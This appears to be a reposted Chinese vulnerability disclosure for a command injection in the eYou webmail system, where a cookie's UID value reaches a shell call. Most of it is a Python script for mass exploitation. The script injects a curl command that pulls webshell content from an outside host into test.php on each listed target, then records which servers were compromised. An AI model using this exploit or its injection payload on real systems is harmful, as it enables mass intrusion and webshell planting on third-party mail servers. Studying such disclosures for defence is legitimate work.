批量执行linux漏洞,亿邮邮件系统命令执行漏洞导致批量Getwebshell

### 简要描述:

这套系统还有很多问题,能登录就更多问题了。

### 详细说明:

user/storage_fold_explore.php

```

/**

* 用户网络存储目录列表

*

* 该页面显示登录邮箱用户的网络存储目录列表,选择后保存邮件附件到指定的目录中。

*

* @author FengHui

* @copyright 199902008 eYou.net

* @version storage_explore.php 2008/11/12

*/

require_once('/var/eyou/apache/htdocs/config.php');

require_once(PATH.'inc/function.php');

require_once(PATH.'inc/libeyou.php');

require_once(PATH.'inc/operate.php');

require_once(PATH.'inc/user.config.php');

$skin = getCookieUserValue('SKIN');

$uid = getCookieUserValue('UID');

$domain = getCookieUserValue('DOMAIN');

$user_dir_path = getUserDirPath($uid, $domain);

$storage_index_path = $user_dir_path.'/storage/Index/';

$storage_data_path = $user_dir_path.'/storage/Data/';

$file_name = htmlspecialchars(get('file'));

$att = htmlspecialchars(get('att'));

?>

```

GetUser_DirPath在/inc/function.php下。

```

function getUserDirPath($uid, $domain) {

$cmd = "/var/eyou/sbin/hashid $uid $domain";

$path = `$cmd`;

$path = trim($path);

return $path;

}

```

### 漏洞证明:

利用代码:

```

__author__ = 'zengzhang'

import time,sys

import urllib,urllib2

from urlparse import urlparse

def Getwebshell(url):

url=url.strip()

header={"Cookie":"USER=UID%3d1|curl http://conqu3r.paxmac.org/test.txt>>test.php&DOMAIN%3d127.0.0.1"}

try:

request=urllib2.Request(url,None,headers=header)

rep=urllib2.urlopen(request)

except:

pass

Indentified(url)

def Readfile(filen):

fp=open(filen,'r')

for url in fp:

if url!='':

Getwebshell(url)

def Indentified(url):

url=url[:-19]

url=url+"test.php"

try:

f=urllib.urlopen(url).getcode()

if f==200:

fp=open("shell.txt","w+")

fp.write(url+"\n")

fp.close()

except:

pass

Readfile("url.txt")

```

url.txt内容为:http://mail.bjsasc.com/user/storage_fold_explore.php形式

[EF3B5D39-11D7-4760-8E23-A0CA283D7843.png](https://images.seebug.org/upload/201404/26113819905107dc893d244259c457ba88e324b3.png)

loading-bars.svg

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值